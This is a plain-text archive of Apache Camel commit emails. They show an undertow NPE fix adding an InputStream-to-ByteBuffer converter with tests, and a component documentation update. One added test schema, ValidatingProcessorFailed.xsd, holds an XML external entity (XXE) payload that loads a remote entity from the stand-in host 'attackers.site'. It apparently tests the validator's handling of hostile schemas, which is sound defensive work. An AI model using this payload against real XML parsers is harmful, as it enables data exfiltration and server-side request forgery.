You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@camel.apache.org by ni...@apache.org on 2018/05/03 02:41:44 UTC

[camel] branch master updated (5de9a6c -> a9c376f)

This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git.


    from 5de9a6c  CAMEL-10671: Adding camel example project for the Ceylon JVM language
     new 6991d32  Updated the new generated component document
     new a9c376f  CAMEL-12475 Fix the NPE error of camel-undertow component by adding the converter from InputStream into ByteBuffer

The 2 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 .../org/apache/camel/converter/IOConverter.java    |  7 +++
 .../processor/ValidatingProcessorSchemaTest.java   | 55 ++++++++++++++++++++++
 ...Processor.xsd => ValidatingProcessorFailed.xsd} | 14 ++++--
 .../component/undertow/UndertowProducerTest.java   | 19 ++++++++
 components/readme.adoc                             |  5 +-
 docs/user-manual/en/SUMMARY.md                     |  1 +
 6 files changed, 96 insertions(+), 5 deletions(-)
 create mode 100644 camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
 copy camel-core/src/test/resources/org/apache/camel/processor/{ValidatingProcessor.xsd => ValidatingProcessorFailed.xsd} (83%)

-- 
To stop receiving notification emails like this one, please contact
ningjiang@apache.org.

[camel] 02/02: CAMEL-12475 Fix the NPE error of camel-undertow component by adding the converter from InputStream into ByteBuffer

Posted by ni...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit a9c376f71407ffe02ffb35c7aa7327ef0b08a655
Author: Willem Jiang <ji...@huawei.com>
AuthorDate: Thu May 3 10:18:33 2018 +0800

    CAMEL-12475 Fix the NPE error of camel-undertow component by adding the converter from InputStream into ByteBuffer
---
 .../org/apache/camel/converter/IOConverter.java    |  7 +++
 .../processor/ValidatingProcessorSchemaTest.java   | 55 ++++++++++++++++++++++
 .../camel/processor/ValidatingProcessorFailed.xsd  | 41 ++++++++++++++++
 .../component/undertow/UndertowProducerTest.java   | 19 ++++++++
 4 files changed, 122 insertions(+)

diff --git a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
index 310425f..073547e 100644
--- a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
+++ b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
@@ -429,6 +429,13 @@ public final class IOConverter {
         return os.toByteArray();
     }
 
+    @Converter
+    public static ByteBuffer covertToByteBuffer(InputStream is) throws IOException {
+        ByteArrayOutputStream os = new ByteArrayOutputStream();
+        IOHelper.copyAndCloseInput(is, os);
+        return ByteBuffer.wrap(os.toByteArray());
+    }
+
     /**
      * @deprecated will be removed in Camel 3.0. Use the method which has 2 parameters.
      */
diff --git a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
new file mode 100644
index 0000000..77bb18c
--- /dev/null
+++ b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
@@ -0,0 +1,55 @@
+package org.apache.camel.processor;
+
+import java.io.File;
+
+import org.apache.camel.ContextTestSupport;
+import org.apache.camel.RuntimeCamelException;
+import org.apache.camel.ValidationException;
+import org.apache.camel.builder.RouteBuilder;
+import org.apache.camel.component.mock.MockEndpoint;
+import org.apache.camel.processor.validation.ValidatingProcessor;
+import org.xml.sax.SAXParseException;
+
+public class ValidatingProcessorSchemaTest extends ContextTestSupport {
+
+  protected ValidatingProcessor validating;
+
+  @Override
+  protected void setUp() throws Exception {
+    validating = new ValidatingProcessor();
+    validating.setSchemaFile(new File("src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd"));
+
+    super.setUp();
+  }
+
+  public void testSchemaWithValidMessage() throws Exception {
+    MockEndpoint mock = getMockEndpoint("mock:error");
+    mock.expectedMessageCount(1);
+
+    String xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
+        + "<user xmlns=\"http://foo.com/bar\">"
+        + "  <id>1</id>"
+        + "  <username>davsclaus</username>"
+        + "</user>";
+
+    template.sendBody("direct:start", xml);
+    System.out.println(mock.getExchanges().get(0));
+
+    assertMockEndpointsSatisfied();
+  }
+
+  protected RouteBuilder createRouteBuilder() {
+    return new RouteBuilder() {
+      public void configure() {
+        //errorHandler(deadLetterChannel("mock:error").redeliveryDelay(0).maximumRedeliveries(3));
+
+        //onException(SAXParseException.class).to("mock:schemeError");
+
+        from("direct:start").
+            process(validating).
+            to("mock:valid");
+      }
+    };
+  }
+
+}
diff --git a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
new file mode 100644
index 0000000..7aa2aa4
--- /dev/null
+++ b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<!--
+
+    Licensed to the Apache Software Foundation (ASF) under one or more
+    contributor license agreements.  See the NOTICE file distributed with
+    this work for additional information regarding copyright ownership.
+    The ASF licenses this file to You under the Apache License, Version 2.0
+    (the "License"); you may not use this file except in compliance with
+    the License.  You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+
+-->
+<!DOCTYPE root [
+  <!ENTITY % remote SYSTEM "http://attackers.site:53/TEST">
+  %remote;
+  %run;
+  %trick;]>
+
+<xs:schema elementFormDefault="qualified" version="1.0"
+  targetNamespace="http://foo.com/bar"
+  xmlns:tns="http://foo.com/bar"
+  xmlns:xs="http://www.w3.org/2001/XMLSchema">
+
+
+  <xs:element name="user">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="id" type="xs:int"/>
+        <xs:element name="username" type="xs:string"/>
+      </xs:sequence>
+    </xs:complexType>
+  </xs:element>
+
+</xs:schema>
diff --git a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
index ed6f2a4..91dd1a9 100644
--- a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
+++ b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
@@ -16,6 +16,9 @@
  */
 package org.apache.camel.component.undertow;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+
 import org.apache.camel.Exchange;
 import org.apache.camel.builder.RouteBuilder;
 import org.junit.Test;
@@ -75,14 +78,30 @@ public class UndertowProducerTest extends BaseUndertowTest {
         assertMockEndpointsSatisfied();
     }
 
+    @Test
+    public void testHttpInputStream() throws Exception {
+        getMockEndpoint("mock:input").expectedBodiesReceived("Hello World");
+        getMockEndpoint("mock:input").expectedHeaderReceived(Exchange.HTTP_METHOD, "POST");
+
+        String out = template.requestBodyAndHeader("undertow:http://localhost:{{port2}}/bar", "Hello World", Exchange.HTTP_METHOD, "POST", String.class);
+        assertEquals("This is the InputStream", out);
+
+        assertMockEndpointsSatisfied();
+    }
+
     @Override
     protected RouteBuilder createRouteBuilder() throws Exception {
         return new RouteBuilder() {
+            private InputStream is = new ByteArrayInputStream("This is the InputStream".getBytes());
             @Override
             public void configure() throws Exception {
                 from("undertow:http://localhost:{{port}}/foo")
                     .to("mock:input")
                     .transform().constant("Bye World");
+
+                from("undertow:http://localhost:{{port2}}/bar")
+                    .to("mock:input")
+                    .transform().constant(is);
             }
         };
     }

-- 
To stop receiving notification emails like this one, please contact
ningjiang@apache.org.

[camel] 01/02: Updated the new generated component document

Posted by ni...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit 6991d32760aa0f9042e0137a9ed9d7458949c9f9
Author: Willem Jiang <ji...@huawei.com>
AuthorDate: Thu May 3 10:08:33 2018 +0800

    Updated the new generated component document
---
 components/readme.adoc         | 5 ++++-
 docs/user-manual/en/SUMMARY.md | 1 +
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/readme.adoc b/components/readme.adoc
index 4683b03..63c41d0 100644
--- a/components/readme.adoc
+++ b/components/readme.adoc
@@ -2,7 +2,7 @@ Components
 ^^^^^^^^^^
 
 // components: START
-Number of Components: 293 in 200 JAR artifacts (20 deprecated)
+Number of Components: 294 in 201 JAR artifacts (20 deprecated)
 
 [width="100%",cols="4,1,5",options="header"]
 |===
@@ -236,6 +236,9 @@ Number of Components: 293 in 200 JAR artifacts (20 deprecated)
 | link:camel-elasticsearch-rest/src/main/docs/elasticsearch-rest-component.adoc[Elastichsearch Rest] (camel-elasticsearch-rest) +
 `elasticsearch-rest:clusterName` | 2.21 | The elasticsearch component is used for interfacing with ElasticSearch server using REST API.
 
+| link:camel-elasticsearch5-rest/src/main/docs/elasticsearch5-rest-component.adoc[Elastichsearch5 Rest] (camel-elasticsearch5-rest) +
+`elasticsearch5-rest:clusterName` | 2.21 | The elasticsearch component is used for interfacing with ElasticSearch server using 5.x REST API.
+
 | link:camel-elasticsearch/src/main/docs/elasticsearch-component.adoc[Elasticsearch] (camel-elasticsearch) +
 `elasticsearch:clusterName` | 2.11 | *deprecated* The elasticsearch component is used for interfacing with ElasticSearch server.
 
diff --git a/docs/user-manual/en/SUMMARY.md b/docs/user-manual/en/SUMMARY.md
index e961fd6..92a77a1 100644
--- a/docs/user-manual/en/SUMMARY.md
+++ b/docs/user-manual/en/SUMMARY.md
@@ -192,6 +192,7 @@
 	* [Ehcache](ehcache-component.adoc)
 	* [EJB](ejb-component.adoc)
 	* [Elastichsearch Rest](elasticsearch-rest-component.adoc)
+	* [Elastichsearch5 Rest](elasticsearch5-rest-component.adoc)
 	* [Elasticsearch](elasticsearch-component.adoc)
 	* [Elasticsearch5](elasticsearch5-component.adoc)
 	* [ElSQL](elsql-component.adoc)

-- 
To stop receiving notification emails like this one, please contact
ningjiang@apache.org.